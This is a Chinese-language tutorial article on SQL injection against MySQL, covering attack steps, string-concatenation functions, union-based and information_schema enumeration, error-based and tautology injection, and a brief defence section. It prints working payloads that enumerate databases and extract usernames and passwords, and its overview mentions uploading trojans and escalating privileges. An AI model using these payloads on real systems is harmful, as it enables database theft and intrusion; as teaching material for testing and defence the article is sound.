sql注入數(shù)據(jù)庫原理詳情介紹
1 介紹
SQL注入漏洞主要是由于,在請求的時候沒有做嚴格的過濾,導(dǎo)致傳入的語句被當做SQL語句被執(zhí)行,從而導(dǎo)致數(shù)據(jù)庫受損(被脫庫、刪除、甚至數(shù)據(jù)付權(quán)限淪陷)
2 一般步驟
SQL注入點探測:
判斷什么地方存在SQL注入點,通常在表單
,文章查詢
等與數(shù)據(jù)庫有關(guān)操作的頁面。
收集后臺數(shù)據(jù)庫信息:
不同的數(shù)據(jù)庫的注入方法、函數(shù)各不相同,因此注入前要判斷數(shù)據(jù)庫的類型。
如:
特殊字符、單引號:讓數(shù)據(jù)庫返回錯誤
函數(shù):
version()函數(shù):MSQL專用
1 and version()>0
猜測用戶名和密碼:
表名、字段名、字段數(shù)、用戶名和密碼。
查找 Web 后臺管理入口:
可以使用 目錄掃描工具
入侵and破壞:
- 登錄后臺:上傳木馬、篡改網(wǎng)頁、竊取信息。
- 進一步提權(quán):入侵Web服務(wù)器和數(shù)據(jù)庫服務(wù)器。
3 注入
測試數(shù)據(jù);
+---------------+----------------------------------+ | isbn | title | +---------------+----------------------------------+ | 9787302458210 | SQL Server 從入門到精通(第2版) | | 9787115496003 | 虛擬化技術(shù)應(yīng)用與實踐 | | 9787302510109 | 算法設(shè)計與分析(第4版) | | 9787503442490 | 心靈密碼 | | 9787503421884 | 雪狼 | | 9787539635835 | 龍頭老太 | +---------------+----------------------------------+
3 函數(shù)
3.1 常用的系統(tǒng)函數(shù)
函數(shù) | 作用 |
---|---|
version() | MySQL版本 |
user() | 數(shù)據(jù)庫用戶名 |
database() | 數(shù)據(jù)庫名 |
@@datadir | 數(shù)據(jù)庫路徑 |
@@version_complie_os | 操作系統(tǒng)版本 |
3.2 字符串連接函數(shù)
三大法寶:concat(),group_concat(),concat_ws()
3.2.1 concat() 函數(shù)
特點:concat(str1,str2,...)
返回結(jié)果為連接參數(shù)產(chǎn)生的字符串,如果任何一個參數(shù)為NULL,則返回值為NULL,可以有一個或多個參數(shù)。
1. 不使用字符連接函數(shù):
select isbn,title from books limit 1;
+---------------+----------------------------------+ | isbn | title | +---------------+----------------------------------+ | 9787302458210 | SQL Server 從入門到精通(第2版) | +---------------+----------------------------------+
2.使用示例
一般我們都要用一個字符將各個項隔開,便于數(shù)據(jù)的查看
select concat(isbn,',',title) from books limit 1;
+------------------------------------------------+ | concat(isbn,',',title) | +------------------------------------------------+ | 9787302458210,SQL Server 從入門到精通(第2版) | +------------------------------------------------+
3.2.2 concat_ws() 函數(shù)
CONCAT_WS() 代表 CONCAT With Separator ,是CONCAT()的特殊形式。第一個參數(shù)是其它參數(shù)的分隔符。分隔符的位置放在要連接的兩個字符串之間。分隔符可以是一個字符串,也可以是其它參數(shù)。如果分隔符為 NULL,則結(jié)果為 NULL。函數(shù)會忽略任何分隔符參數(shù)后的 NULL 值。但是CONCAT_WS()不會忽略任何空字符串。 (然而會忽略所有的 NULL)。特點
:CONCAT_WS(separator,str1,str2,…)
使用示例
3.2.3 group_concat() 函數(shù)
GROUP_CONCAT
函數(shù)返回一個字符串結(jié)果,該結(jié)果由分組中的值連接組合而成。
select bid,author,group_concat(bid) from books where author in('金勇先','方兆祥 著') group by bid;
就不演示了,sql語句如同上面
4 注入
4.1 聯(lián)合查詢 union 注入
使用聯(lián)合查詢進行的前提是我們進行注入的頁面必須有顯示位。
1、使用union
payload:
v' union select username from member where id=1#%
select 必須有相同的列,且各列的數(shù)據(jù)也都相同,同時,每條 SELECT 語句中的列的順序必須相同。
聯(lián)合查詢可先在鏈接最后添加 order by X 基于隨意數(shù)字的注入,根據(jù)頁面的返回結(jié)果來判斷站點中的字段數(shù)目。
select bid,author from books union select username from users;
2、 payload:a' order by 4#%
select bid,author from books order by 4#%;
select bid,author from books order by 2#%;
3、得到主查詢由三個字段后,我們用union來做一個sql拼接。
pauload
a' union selec database(),user(),version()#%
select bid,author,title from books union selec database(),user(),version();
這里沒有測試通過
4.2 information_schema 注入
information_schema
數(shù)據(jù)庫是MySQL5.0系統(tǒng)自帶的數(shù)據(jù)庫,其中保存著關(guān)于MySQL服務(wù)器所維護的所有其他數(shù)據(jù)庫的信息。
select group_concat(schema_name) from information_schema.schemata;
實際注入測試
5.2.1 獲取所有數(shù)據(jù)庫
類型:id=/wd=/name=
-1 union select 1,2,3,4,5,6,7,8,group_concat(schema_name) from information_schema.schemata
4.2.2 獲取指定數(shù)據(jù)庫的表
payload
a' union select table_schema ,table_name,3 from information_schema.tables where table_schema='library'
select bid,author,title from books union select table_schema ,table_name,3 from information_schema.tables where table_schema='library';
4.2.3 獲取指定表的字段名
payload
a' union select table_name,column_name,3 from information_schema.columns where table_name='users'#%
select bid,author,title from books union select table_name,column_name,3 from information_schema.columns where table_name='users';
4.2.4 獲取字段值得內(nèi)容
payload
a' union select username ,password,3 from users#%
select bid,author,title from books union select username,password,3 from users;
4.3 基于報錯信息注入
此方法是在頁面沒有顯示位,但是 echomysql_error()
函數(shù),在前端輸出了錯誤信息的時候方能使用。
優(yōu)點是注入速度快,缺點是語句較為復(fù)雜,而且只能用 limit 依次進行猜解??傮w來說,報錯注入其實是一種公式化的注入方法,主要用于在頁面中沒有顯示位,但是用 echomysql_error()
輸出了錯誤信息時使用。常見的select/insert/update/delete
注入都可以使用報錯方式來獲取信息。
4.3.1 三個常用報錯函數(shù)
updatexml(): 函數(shù)是MYSQL對XML文檔數(shù)據(jù)進行查詢和修改的XPATH函數(shù)
extractvalue() : 函數(shù)也是MYSQL對XML文檔數(shù)據(jù)進行查詢的XPATH函數(shù).
floor(): MYSQL中用來取整的函數(shù).
4.4 數(shù)字注入
or 1=1
4.5 搜索注入
在搜索框搜索的時候,成為搜索型。
數(shù)字型與字符型注入最大區(qū)別:數(shù)字型不需要單引號閉合,而字符串類型需要單引號閉合。
%xxx% or 1=1 #%'
5 sql注入防御
- 對輸入進行嚴格的轉(zhuǎn)義和過濾
- 使用參數(shù)化(Parameterized):目前有很多ORM框架會自動使用參數(shù)化解決注入問題,但其也提供了"拼接"的方式,所以使用時需要慎重!
到此這篇關(guān)于sql注入數(shù)據(jù)庫原理詳情介紹的文章就介紹到這了,更多相關(guān)sql注入數(shù)據(jù)庫 內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
- 淺談三種數(shù)據(jù)庫的?SQL?注入
- 數(shù)據(jù)庫之SQL注入原理以及過程的簡單介紹
- 一個簡單的后臺與數(shù)據(jù)庫交互的登錄與注冊[sql注入處理、以及MD5加密]
- Mysql數(shù)據(jù)庫使用concat函數(shù)執(zhí)行SQL注入查詢
- sql注入數(shù)據(jù)庫修復(fù)的兩種實例方法
- 數(shù)據(jù)庫SqlParameter 的插入操作,防止sql注入的實現(xiàn)代碼
- SQL數(shù)據(jù)庫的高級sql注入的一些知識
- 數(shù)據(jù)庫中的內(nèi)容字段被掛馬的替換方法 SQL注入
- ASP+MSSQL2000 數(shù)據(jù)庫被批量注入后的解決方法
相關(guān)文章
Mysql中關(guān)于Incorrect string value的解決方案
在對mysql數(shù)據(jù)庫中插入數(shù)據(jù)的時候,直接插入中文是沒有問題的!但是用預(yù)編譯語句時,用流對數(shù)據(jù)進行處理總報incorrect string value這個異常。本篇文章教給你解決方法2021-09-09MySQL實現(xiàn)數(shù)據(jù)插入操作的示例詳解
使用MySQL插入數(shù)據(jù)時,可以根據(jù)需求場景選擇合適的插入語句。本文通過給出每個使用場景下的實例來說明數(shù)據(jù)插入的實現(xiàn)過程和方法,希望對大家有所幫助2023-02-02